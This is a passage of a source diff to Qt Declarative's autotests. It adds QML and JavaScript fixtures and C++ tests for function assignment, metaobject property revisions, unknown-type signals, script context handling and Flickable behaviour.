+ QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::sendMessage()");
+ duplicate.sendMessage("msg");
}
void tst_QDeclarativeDebugService::idForObject()
@@ -189,7 +193,7 @@ int main(int argc, char *argv[])
char **_argv = new char*[_argc];
for (int i = 0; i < argc; ++i)
_argv[i] = argv[i];
- _argv[_argc - 1] = "-qmljsdebugger=port:3769";
+ _argv[_argc - 1] = "-qmljsdebugger=port:13769";
QApplication app(_argc, _argv);
tst_QDeclarativeDebugService tc;
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
index 948b39c..c8c926a 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml
@@ -1,13 +1,73 @@
import Qt.test 1.0
+import QtQuick 1.0
+
+import "functionAssignment.js" as Script
MyQmlObject {
property variant a
- property bool runTest: false
- onRunTestChanged: {
+ property int aNumber: 10
+
+ property bool assignToProperty: false
+ property bool assignToPropertyFromJsFile: false
+
+ property bool assignWithThis: false
+ property bool assignWithThisFromJsFile: false
+
+ property bool assignToValueType: false
+
+ property bool assignFuncWithoutReturn: false
+ property bool assignWrongType: false
+ property bool assignWrongTypeToValueType: false
+
+
+ onAssignToPropertyChanged: {
+ function myFunction() {
+ return aNumber * 10;
+ }
+ a = myFunction;
+ }
+
+ property QtObject obj: QtObject {
+ property int aNumber: 4212
+ function myFunction() {
+ return this.aNumber * 10; // should use the aNumber from root, not this object
+ }
+ }
+ onAssignWithThisChanged: {
+ a = obj.myFunction;
+ }
+
+ onAssignToPropertyFromJsFileChanged: {
+ Script.bindPropertyWithThis()
+ }
+
+ onAssignWithThisFromJsFileChanged: {
+ Script.bindProperty()
+ }
+
+ property Text text: Text { }
+ onAssignToValueTypeChanged: {
+ text.font.pixelSize = (function() { return aNumber * 10; })
+ a = (function() { return text.font.pixelSize; })
+ }
+
+
+ // detecting errors:
+
+ onAssignFuncWithoutReturnChanged: {
function myFunction() {
- console.log("hello world");
}
a = myFunction;
}
+ onAssignWrongTypeChanged: {
+ function myFunction() {
+ return 'a string';
+ }
+ aNumber = myFunction;
+ }
+
+ onAssignWrongTypeToValueTypeChanged: {
+ text.font.pixelSize = (function() { return 'a string'; })
+ }
}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
new file mode 100644
index 0000000..14daa76
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
@@ -0,0 +1,17 @@
+function bindProperty()
+{
+ a = (function(){ return aNumber * 10 })
+}
+
+
+function TestObject() { }
+TestObject.prototype.aNumber = 928349
+TestObject.prototype.bindFunction = function() {
+ return this.aNumber * 10 // this should not use the TestObject's aNumber
+}
+var testObj = new TestObject()
+
+function bindPropertyWithThis()
+{
+ a = testObj.bindFunction
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
new file mode 100644
index 0000000..77accd8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.1
+
+MyRevisionedClass
+{
+ prop1: prop2
+ onSignal1: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
new file mode 100644
index 0000000..36057cb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
@@ -0,0 +1,9 @@
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+ prop1: prop3
+ onSignal1: method2()
+ prop3: prop4
+ onSignal3: method4()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
new file mode 100644
index 0000000..81769e9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+ prop1: prop3
+ onSignal1: method1()
+ onSignal3: method3()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
new file mode 100644
index 0000000..81ea536
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.1
+import QtQuick 1.0
+
+QtObject {
+ property variant a
+ property real test
+
+ a: MyRevisionedClass {
+ prop2: 11
+
+ Component.onCompleted: test = prop2
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
new file mode 100644
index 0000000..44d421e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedClass
+{
+ // Will not hit optimizer
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+
+ // Should hit optimizer
+ property real p3: prop2
+
+ Component.onCompleted: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
new file mode 100644
index 0000000..121642e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+ // Will not hit optimizer
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+ property real p3: prop3 % 3
+ property real p4: prop4 % 3
+
+ // Should hit optimizer
+ property real p5: prop1
+ property real p6: prop2
+ property real p7: prop3
+ property real p8: prop4
+
+ Component.onCompleted: {
+ method1()
+ method2()
+ method3()
+ method4()
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
new file mode 100644
index 0000000..123650e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+ // Will not hit optimizer
+ property real pA: propA % 3
+ property real pB: propB % 3
+ property real pC: propC % 3
+ property real pD: propD % 3
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+ property real p3: prop3 % 3
+ property real p4: prop4 % 3
+
+ // Should hit optimizer
+ property real pE: propA
+ property real pF: propB
+ property real pG: propC
+ property real pH: propD
+ property real p5: prop1
+ property real p6: prop2
+ property real p7: prop3
+ property real p8: prop4
+
+ Component.onCompleted: {
+ methodA()
+ methodB()
+ methodC()
+ methodD()
+ method1()
+ method2()
+ method3()
+ method4()
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
index f9585db..f9585db 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
new file mode 100644
index 0000000..49293ed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ onSignalWithUnknownType: variantMethod(arg);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
index 1257da6..7e63bd5 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp
@@ -113,9 +113,20 @@ void registerTypes()
qmlRegisterType<NumberAssignment>("Qt.test", 1,0, "NumberAssignment");
qmlRegisterExtendedType<DefaultPropertyExtendedObject, DefaultPropertyExtensionObject>("Qt.test", 1,0, "DefaultPropertyExtendedObject");
qmlRegisterType<OverrideDefaultPropertyObject>("Qt.test", 1,0, "OverrideDefaultPropertyObject");
+ qmlRegisterType<MyRevisionedClass>("Qt.test",1,0,"MyRevisionedClass");
+ qmlRegisterType<MyRevisionedClass,1>("Qt.test",1,1,"MyRevisionedClass");
+
+ // Register the uncreatable base class
+ qmlRegisterRevision<MyRevisionedBaseClassRegistered,1>("Qt.test",1,1);
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ qmlRegisterType<MyRevisionedSubclass>("Qt.test",1,0,"MyRevisionedSubclass");
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ qmlRegisterType<MyRevisionedSubclass,1>("Qt.test",1,1,"MyRevisionedSubclass");
qmlRegisterExtendedType<QWidget,QWidgetDeclarativeUI>("Qt.test",1,0,"QWidget");
qmlRegisterType<QPlainTextEdit>("Qt.test",1,0,"QPlainTextEdit");
+
+ qRegisterMetaType<MyQmlObject::MyType>("MyQmlObject::MyType");
}
#include "testtypes.moc"
diff --git a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
index 6c6ad1f..081cc4c 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
+++ b/tests/auto/declarative/qdeclarativeecmascript/testtypes.h
@@ -152,6 +152,11 @@ public:
MyQmlObject *myinvokableObject;
Q_INVOKABLE MyQmlObject *returnme() { return this; }
+ struct MyType {
+ int value;
+ };
+ QVariant variant() const { return m_variant; }
+
signals:
void basicSignal();
void argumentSignal(int a, QString b, qreal c);
@@ -159,6 +164,7 @@ signals:
void objectChanged();
void anotherBasicSignal();
void thirdBasicSignal();
+ void signalWithUnknownType(const MyQmlObject::MyType &arg);
public slots:
void deleteMe() { delete this; }
@@ -166,6 +172,7 @@ public slots:
void method(int a) { if(a == 163) m_methodIntCalled = true; }
void setString(const QString &s) { m_string = s; }
void myinvokable(MyQmlObject *o) { myinvokableObject = o; }
+ void variantMethod(const QVariant &v) { m_variant = v; }
private:
friend class tst_qdeclarativeecmascript;
@@ -178,6 +185,7 @@ private:
int m_value;
int m_resetProperty;
QRegExp m_regExp;
+ QVariant m_variant;
};
QML_DECLARE_TYPEINFO(MyQmlObject, QML_HAS_ATTACHED_PROPERTIES)
@@ -738,6 +746,168 @@ public:
OverrideDefaultPropertyObject() {}
};
+class MyRevisionedBaseClassRegistered : public QObject
+{
+Q_OBJECT
+ Q_PROPERTY(qreal propA READ propA WRITE setPropA NOTIFY propAChanged)
+ Q_PROPERTY(qreal propB READ propB WRITE setPropB NOTIFY propBChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassRegistered() : m_pa(1), m_pb(2) {}
+
+ qreal propA() const { return m_pa; }
+ void setPropA(qreal p) {
+ if (p != m_pa) {
+ m_pa = p;
+ emit propAChanged();
+ }
+ }
+ qreal propB() const { return m_pb; }
+ void setPropB(qreal p) {
+ if (p != m_pb) {
+ m_pb = p;
+ emit propBChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodA() { }
+ Q_INVOKABLE Q_REVISION(1) void methodB() { }
+
+signals:
+ void propAChanged();
+ void propBChanged();
+
+ void signalA();
+ Q_REVISION(1) void signalB();
+
+protected:
+ qreal m_pa;
+ qreal m_pb;
+};
+
+class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
+{
+Q_OBJECT
+ Q_PROPERTY(qreal propC READ propC WRITE setPropC NOTIFY propCChanged)
+ Q_PROPERTY(qreal propD READ propD WRITE setPropD NOTIFY propDChanged REVISION 1)
+
+public:
+ MyRevisionedBaseClassUnregistered() : m_pc(1), m_pd(2) {}
+
+ qreal propC() const { return m_pc; }
+ void setPropC(qreal p) {
+ if (p != m_pc) {
+ m_pc = p;
+ emit propCChanged();
+ }
+ }
+ qreal propD() const { return m_pd; }
+ void setPropD(qreal p) {
+ if (p != m_pd) {
+ m_pd = p;
+ emit propDChanged();
+ }
+ }
+
+ Q_INVOKABLE void methodC() { }
+ Q_INVOKABLE Q_REVISION(1) void methodD() { }
+
+signals:
+ void propCChanged();
+ void propDChanged();
+
+ void signalC();
+ Q_REVISION(1) void signalD();
+
+protected:
+ qreal m_pc;
+ qreal m_pd;
+};
+
+class MyRevisionedClass : public MyRevisionedBaseClassUnregistered
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop1 READ prop1 WRITE setProp1 NOTIFY prop1Changed)
+ Q_PROPERTY(qreal prop2 READ prop2 WRITE setProp2 NOTIFY prop2Changed REVISION 1)
+
+public:
+ MyRevisionedClass() {}
+
+ qreal prop1() const { return m_p1; }
+ void setProp1(qreal p) {
+ if (p != m_p1) {
+ m_p1 = p;
+ emit prop1Changed();
+ }
+ }
+ qreal prop2() const { return m_p2; }
+ void setProp2(qreal p) {
+ if (p != m_p2) {
+ m_p2 = p;
+ emit prop2Changed();
+ }
+ }
+
+ Q_INVOKABLE void method1() { }
+ Q_INVOKABLE Q_REVISION(1) void method2() { }
+
+signals:
+ void prop1Changed();
+ void prop2Changed();
+
+ void signal1();
+ Q_REVISION(1) void signal2();
+
+protected:
+ qreal m_p1;
+ qreal m_p2;
+};
+
+class MyRevisionedSubclass : public MyRevisionedClass
+{
+ Q_OBJECT
+ Q_PROPERTY(qreal prop3 READ prop3 WRITE setProp3 NOTIFY prop3Changed)
+ Q_PROPERTY(qreal prop4 READ prop4 WRITE setProp4 NOTIFY prop4Changed REVISION 1)
+
+public:
+ MyRevisionedSubclass() : m_p3(3), m_p4(4) {}
+
+ qreal prop3() const { return m_p3; }
+ void setProp3(qreal p) {
+ if (p != m_p3) {
+ m_p3 = p;
+ emit prop3Changed();
+ }
+ }
+ qreal prop4() const { return m_p4; }
+ void setProp4(qreal p) {
+ if (p != m_p4) {
+ m_p4 = p;
+ emit prop4Changed();
+ }
+ }
+
+ Q_INVOKABLE void method3() { }
+ Q_INVOKABLE Q_REVISION(1) void method4() { }
+
+signals:
+ void prop3Changed();
+ void prop4Changed();
+
+ void signal3();
+ Q_REVISION(1) void signal4();
+
+protected:
+ qreal m_p3;
+ qreal m_p4;
+};
+
+QML_DECLARE_TYPE(MyRevisionedBaseClassRegistered)
+QML_DECLARE_TYPE(MyRevisionedBaseClassUnregistered)
+QML_DECLARE_TYPE(MyRevisionedClass)
+QML_DECLARE_TYPE(MyRevisionedSubclass)
+Q_DECLARE_METATYPE(MyQmlObject::MyType)
+
void registerTypes();
#endif // TESTTYPES_H
diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
index 034adf7..40b0e1b 100644
--- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
+++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp
@@ -50,6 +50,7 @@
#include <QtCore/qnumeric.h>
#include <private/qdeclarativeengine_p.h>
#include <private/qdeclarativeglobalscriptclass_p.h>
+#include <private/qscriptdeclarativeclass_p.h>
#include "testtypes.h"
#include "testhttpserver.h"
#include "../../../shared/util.h"
@@ -105,7 +106,7 @@ private slots:
void constantsOverrideBindings();
void outerBindingOverridesInnerBinding();
void aliasPropertyAndBinding();
- void nonExistantAttachedObject();
+ void nonExistentAttachedObject();
void scope();
void signalParameterTypes();
void objectsCompareAsEqual();
@@ -142,6 +143,7 @@ private slots:
void compiled();
void numberAssignment();
void propertySplicing();
+ void signalWithUnknownTypes();
void bug1();
void bug2();
@@ -155,7 +157,10 @@ private slots:
void qtcreatorbug_1289();
void noSpuriousWarningsAtShutdown();
void canAssignNullToQObject();
- void functionAssignment();
+ void functionAssignment_fromBinding();
+ void functionAssignment_fromJS();
+ void functionAssignment_fromJS_data();
+ void functionAssignmentfromJS_invalid();
void eval();
void function();
void qtbug_10696();
@@ -170,12 +175,16 @@ private slots:
void aliasBindingsAssignCorrectly();
void aliasBindingsOverrideTarget();
void aliasWritesOverrideBindings();
+ void pushCleanContext();
void include();
void callQtInvokables();
void invokableObjectArg();
void invokableObjectRet();
+
+ void revisionErrors();
+ void revision();
private:
QDeclarativeEngine engine;
};
@@ -643,7 +652,7 @@ void tst_qdeclarativeecmascript::attachedProperties()
void tst_qdeclarativeecmascript::enums()
{
- // Existant enums
+ // Existent enums
{
QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml"));
QObject *object = component.create();
@@ -785,9 +794,9 @@ Access a non-existent attached object.
Tests for a regression where this used to crash.
*/
-void tst_qdeclarativeecmascript::nonExistantAttachedObject()
+void tst_qdeclarativeecmascript::nonExistentAttachedObject()
{
- QDeclarativeComponent component(&engine, TEST_FILE("nonExistantAttachedObject.qml"));
+ QDeclarativeComponent component(&engine, TEST_FILE("nonExistentAttachedObject.qml"));
QString warning = component.url().toString() + ":4: Unable to assign [undefined] to QString stringProperty";
QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
@@ -2334,6 +2343,26 @@ void tst_qdeclarativeecmascript::propertySplicing()
delete object;
}
+// QTBUG-16683
+void tst_qdeclarativeecmascript::signalWithUnknownTypes()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("signalWithUnknownTypes.qml"));
+
+ MyQmlObject *object = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(object != 0);
+
+ MyQmlObject::MyType type;
+ type.value = 0x8971123;
+ emit object->signalWithUnknownType(type);
+
+ MyQmlObject::MyType result = qvariant_cast<MyQmlObject::MyType>(object->variant());
+
+ QCOMPARE(result.value, type.value);
+
+
+ delete object;
+}
+
// Test that assigning a null object works
// Regressed with: df1788b4dbbb2826ae63f26bdf166342595343f4
void tst_qdeclarativeecmascript::nullObjectBinding()
@@ -2511,9 +2540,8 @@ void tst_qdeclarativeecmascript::canAssignNullToQObject()
}
}
-void tst_qdeclarativeecmascript::functionAssignment()
+void tst_qdeclarativeecmascript::functionAssignment_fromBinding()
{
- {
QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.1.qml"));
QString url = component.url().toString();
@@ -2526,26 +2554,64 @@ void tst_qdeclarativeecmascript::functionAssignment()
QVERIFY(!o->property("a").isValid());
delete o;
- }
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS()
+{
+ QFETCH(QString, triggerProperty);
- {
QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
QVERIFY(o != 0);
+ QVERIFY(!o->property("a").isValid());
+
+ o->setProperty("aNumber", QVariant(5));
+ o->setProperty(triggerProperty.toUtf8().constData(), true);
+ QCOMPARE(o->property("a"), QVariant(50));
+ o->setProperty("aNumber", QVariant(10));
+ QCOMPARE(o->property("a"), QVariant(100));
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::functionAssignment_fromJS_data()
+{
+ QTest::addColumn<QString>("triggerProperty");
+
+ QTest::newRow("assign to property") << "assignToProperty";
+ QTest::newRow("assign to property, from JS file") << "assignToPropertyFromJsFile";
+
+ QTest::newRow("assign to value type") << "assignToValueType";
+
+ QTest::newRow("use 'this'") << "assignWithThis";
+ QTest::newRow("use 'this' from JS file") << "assignWithThisFromJsFile";
+}
+
+void tst_qdeclarativeecmascript::functionAssignmentfromJS_invalid()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("functionAssignment.2.qml"));
+ QVERIFY2(component.errorString().isEmpty(), qPrintable(component.errorString()));
+
+ MyQmlObject *o = qobject_cast<MyQmlObject *>(component.create());
+ QVERIFY(o != 0);
QVERIFY(!o->property("a").isValid());
-
+
+ o->setProperty("assignFuncWithoutReturn", true);
+ QVERIFY(!o->property("a").isValid());
+
QString url = component.url().toString();
- QString warning = url + ":10: Error: Cannot assign a function to a property.";
+ QString warning = url + ":63: Unable to assign QString to int";
QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
-
- o->setProperty("runTest", true);
-
- QVERIFY(!o->property("a").isValid());
+ o->setProperty("assignWrongType", true);
+
+ warning = url + ":70: Unable to assign QString to int";
+ QTest::ignoreMessage(QtWarningMsg, warning.toLatin1().constData());
+ o->setProperty("assignWrongTypeToValueType", true);
delete o;
- }
}
void tst_qdeclarativeecmascript::eval()
@@ -2863,6 +2929,132 @@ void tst_qdeclarativeecmascript::aliasWritesOverrideBindings()
}
}
+void tst_qdeclarativeecmascript::revisionErrors()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors.qml"));
+ QString url = component.url().toString();
+
+ QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+ QString warning2 = url + ":11: ReferenceError: Can't find variable: prop2";
+ QString warning3 = url + ":13: ReferenceError: Can't find variable: method2";
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors2.qml"));
+ QString url = component.url().toString();
+
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ // method2, prop2 from MyRevisionedClass not available
+ // method4, prop4 from MyRevisionedSubclass not available
+ QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+ QString warning2 = url + ":14: ReferenceError: Can't find variable: prop2";
+ QString warning3 = url + ":10: ReferenceError: Can't find variable: prop4";
+ QString warning4 = url + ":16: ReferenceError: Can't find variable: prop4";
+ QString warning5 = url + ":20: ReferenceError: Can't find variable: method2";
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors3.qml"));
+ QString url = component.url().toString();
+
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ // All properties/methods available, except MyRevisionedBaseClassUnregistered rev 1
+ QString warning1 = url + ":30: ReferenceError: Can't find variable: methodD";
+ QString warning2 = url + ":10: ReferenceError: Can't find variable: propD";
+ QString warning3 = url + ":20: ReferenceError: Can't find variable: propD";
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+}
+
+void tst_qdeclarativeecmascript::revision()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision2.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision3.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ // Test that non-root classes can resolve revisioned methods
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision4.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("test").toReal(), 11.);
+ delete object;
+ }
+}
+
+// Test for QScriptDeclarativeClass::pushCleanContext()
+void tst_qdeclarativeecmascript::pushCleanContext()
+{
+ QScriptEngine engine;
+ engine.globalObject().setProperty("a", 6);
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+ // First confirm pushContext() behaves as we expect
+ QScriptValue object = engine.newObject();
+ object.setProperty("a", 15);
+ QScriptContext *context1 = engine.pushContext();
+ context1->pushScope(object);
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ QScriptContext *context2 = engine.pushContext();
+ Q_UNUSED(context2);
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+ QScriptValue func1 = engine.evaluate("(function() { return a; })");
+
+ // Now check that pushCleanContext() works
+ QScriptDeclarativeClass::pushCleanContext(&engine);
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+ QScriptValue func2 = engine.evaluate("(function() { return a; })");
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+ // Check that function objects created in these contexts work
+ QCOMPARE(func1.call().toInt32(), 15);
+ QCOMPARE(func2.call().toInt32(), 6);
+}
+
QTEST_MAIN(tst_qdeclarativeecmascript)
#include "tst_qdeclarativeecmascript.moc"
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
new file mode 100644
index 0000000..d0ee545
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+Flickable {
+ property bool pressed: ma.pressed
+ width: 240
+ height: 320
+ contentWidth: 480
+ contentHeight: 320
+ flickableDirection: Flickable.HorizontalFlick
+ pressDelay: 50
+ Flickable {
+ objectName: "innerFlickable"
+ flickableDirection: Flickable.VerticalFlick
+ width: 480
+ height: 320
+ contentWidth: 480
+ contentHeight: 400
+ pressDelay: 10000
+ Rectangle {
+ y: 100
+ anchors.horizontalCenter: parent.horizontalCenter
+ width: 240
+ height: 100
+ color: ma.pressed ? 'blue' : 'green'
+ MouseArea {
+ id: ma
+ objectName: "mouseArea"
+ anchors.fill: parent
+ }
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/resize.qml b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
new file mode 100644
index 0000000..e2abb99
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/resize.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.1
+
+Rectangle {
+ function resizeContent() {
+ flick.resizeContent(600, 600, Qt.point(100, 100))
+ }
+ function returnToBounds() {
+ flick.returnToBounds()
+ }
+ width: 400
+ height: 360
+ color: "gray"
+
+ Flickable {
+ id: flick
+ objectName: "flick"
+ anchors.fill: parent
+ contentWidth: 300
+ contentHeight: 300
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
new file mode 100644
index 0000000..6ea81b2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/wheel.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.1
+
+Rectangle {
+ width: 400
+ height: 400
+ color: "gray"
+
+ Flickable {
+ id: flick
+ objectName: "flick"
+ anchors.fill: parent
+ contentWidth: 800
+ contentHeight: 800
+
+ Rectangle {
+ width: flick.contentWidth
+ height: flick.contentHeight
+ color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
index 1bf93ee..736f8f4 100644
--- a/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
+++ b/tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp
@@ -42,10 +42,12 @@
#include <QtTest/QSignalSpy>
#include <QtDeclarative/qdeclarativeengine.h>
#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
#include <private/qdeclarativeflickable_p.h>
#include <private/qdeclarativevaluetype_p.h>
#include <QtGui/qgraphicswidget.h>
#include <math.h>
+#include "../../../shared/util.h"
#ifdef Q_OS_SYMBIAN
// In Symbian OS test data is located in applications private dir
@@ -67,8 +69,14 @@ private slots:
void maximumFlickVelocity();
void flickDeceleration();
void pressDelay();
+ void nestedPressDelay();
void flickableDirection();
void qgraphicswidget();
+ void resizeContent();
+ void returnToBounds();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void wheel();
private:
QDeclarativeEngine engine;
